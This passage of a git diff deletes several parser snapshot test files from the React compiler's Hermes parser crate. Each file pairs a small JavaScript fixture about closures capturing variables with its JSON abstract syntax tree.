-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  94,
-                  95
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                94,
-                97
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              94,
-              98
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                108,
-                109
-              ]
-            },
-            "loc": null,
-            "range": [
-              101,
-              110
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          112
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        112
-      ],
-      "loc": null,
-      "range": [
-        0,
-        112
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    112
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate.js.snap
deleted file mode 100644
index 2b245f3e9662..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate.js.snap
+++ /dev/null
@@ -1,464 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-mutate.js
----
-Input:
-function component(a, b) {
-  let z = { a };
-  let y = { b };
-  let x = function () {
-    z.a = 2;
-    console.log(y.b);
-  };
-  x();
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                89,
-                                90
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                91,
-                                92
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              89,
-                              92
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 2.0,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            89,
-                            96
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          89,
-                          97
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                102,
-                                109
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                110,
-                                113
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              102,
-                              113
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "y",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  114,
-                                  115
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "b",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  116,
-                                  117
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                114,
-                                117
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            102,
-                            118
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          102,
-                          119
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      83,
-                      123
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    71,
-                    123
-                  ],
-                  "loc": null,
-                  "range": [
-                    71,
-                    123
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  123
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              124
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  127,
-                  128
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                127,
-                130
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              127,
-              131
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                141,
-                142
-              ]
-            },
-            "loc": null,
-            "range": [
-              134,
-              143
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          145
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        145
-      ],
-      "loc": null,
-      "range": [
-        0,
-        145
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    145
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-simple-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-simple-alias.js.snap
deleted file mode 100644
index c548aae6ac9b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-simple-alias.js.snap
+++ /dev/null
@@ -1,325 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-simple-alias.js
----
-Input:
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    y = x;
-  })();
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            76,
-                            77
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            80,
-                            81
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          76,
-                          81
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        76,
-                        82
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    70,
-                    86
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  58,
-                  86
-                ],
-                "loc": null,
-                "range": [
-                  58,
-                  86
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                57,
-                89
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              57,
-              90
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  93,
-                  99
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    100,
-                    101
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                93,
-                102
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              93,
-              103
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                113,
-                114
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              115
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          117
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        117
-      ],
-      "loc": null,
-      "range": [
-        0,
-        117
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    117
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-1.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-1.js.snap
deleted file mode 100644
index 6c9627e65665..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-1.js.snap
+++ /dev/null
@@ -1,277 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-1.js
----
-Input:
-function component(a) {
-  let z = { a };
-  let x = function () {
-    console.log(z);
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                69,
-                                76
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                77,
-                                80
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              69,
-                              80
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                81,
-                                82
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            69,
-                            83
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          69,
-                          84
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      63,
-                      88
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    88
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    88
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  88
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              89
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                99,
-                100
-              ]
-            },
-            "loc": null,
-            "range": [
-              92,
-              101
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          103
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        103
-      ],
-      "loc": null,
-      "range": [
-        0,
-        103
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    103
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-2.js.snap
deleted file mode 100644
index 553d416c5d50..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-2.js.snap
+++ /dev/null
@@ -1,300 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-2.js
----
-Input:
-function bar(a) {
-  let x = [a];
-  let y = {};
-  (function () {
-    y = x[0][1];
-  })();
-
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "bar",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    24,
-                    25
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        29,
-                        30
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    28,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  24,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    39,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    43,
-                    45
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  39,
-                  45
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              46
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            68,
-                            69
-                          ]
-                        },
-                        "right": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                72,
-                                73
-                              ]
-                            },
-                            "property": {
-                              "type": "NumericLiteral",
-                              "value": 0.0,
-                              "loc": null,
-                              "range": [
-                                74,
-                                75
-                              ]
-                            },
-                            "computed": true,
-                            "loc": null,
-                            "range": [
-                              72,
-                              76
-                            ]
-                          },
-                          "property": {
-                            "type": "NumericLiteral",
-                            "value": 1.0,
-                            "loc": null,
-                            "range": [
-                              77,
-                              78
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
-                          "range": [
-                            72,
-                            79
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          68,
-                          79
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        68,
-                        80
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    62,
-                    84
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  50,
-                  84
-                ],
-                "loc": null,
-                "range": [
-                  50,
-                  84
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                49,
-                87
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              49,
-              88
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                99,
-                100
-              ]
-            },
-            "loc": null,
-            "range": [
-              92,
-              101
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          103
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        103
-      ],
-      "loc": null,
-      "range": [
-        0,
-        103
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    103
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-3.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-3.js.snap
deleted file mode 100644
index 8e767ef1a537..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-alias-computed-load-3.js.snap
+++ /dev/null
@@ -1,434 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-3.js
----
-Input:
-function bar(a, b) {
-  let x = [a, b];
-  let y = {};
-  let t = {};
-  (function () {
-    y = x[0][1];
-    t = x[1][0];
-  })();
-
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "bar",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        32,
-                        33
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        35,
-                        36
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    31,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  27,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              38
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    46
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    49,
-                    51
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  45,
-                  51
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              41,
-              52
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    63,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  59,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              55,
-              66
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            88,
-                            89
-                          ]
-                        },
-                        "right": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                92,
-                                93
-                              ]
-                            },
-                            "property": {
-                              "type": "NumericLiteral",
-                              "value": 0.0,
-                              "loc": null,
-                              "range": [
-                                94,
-                                95
-                              ]
-                            },
-                            "computed": true,
-                            "loc": null,
-                            "range": [
-                              92,
-                              96
-                            ]
-                          },
-                          "property": {
-                            "type": "NumericLiteral",
-                            "value": 1.0,
-                            "loc": null,
-                            "range": [
-                              97,
-                              98
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
-                          "range": [
-                            92,
-                            99
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          88,
-                          99
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        88,
-                        100
-                      ]
-                    },
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "t",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            105,
-                            106
-                          ]
-                        },
-                        "right": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                109,
-                                110
-                              ]
-                            },
-                            "property": {
-                              "type": "NumericLiteral",
-                              "value": 1.0,
-                              "loc": null,
-                              "range": [
-                                111,
-                                112
-                              ]
-                            },
-                            "computed": true,
-                            "loc": null,
-                            "range": [
-                              109,
-                              113
-                            ]
-                          },
-                          "property": {
-                            "type": "NumericLiteral",
-                            "value": 0.0,
-                            "loc": null,
-                            "range": [
-                              114,
-                              115
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
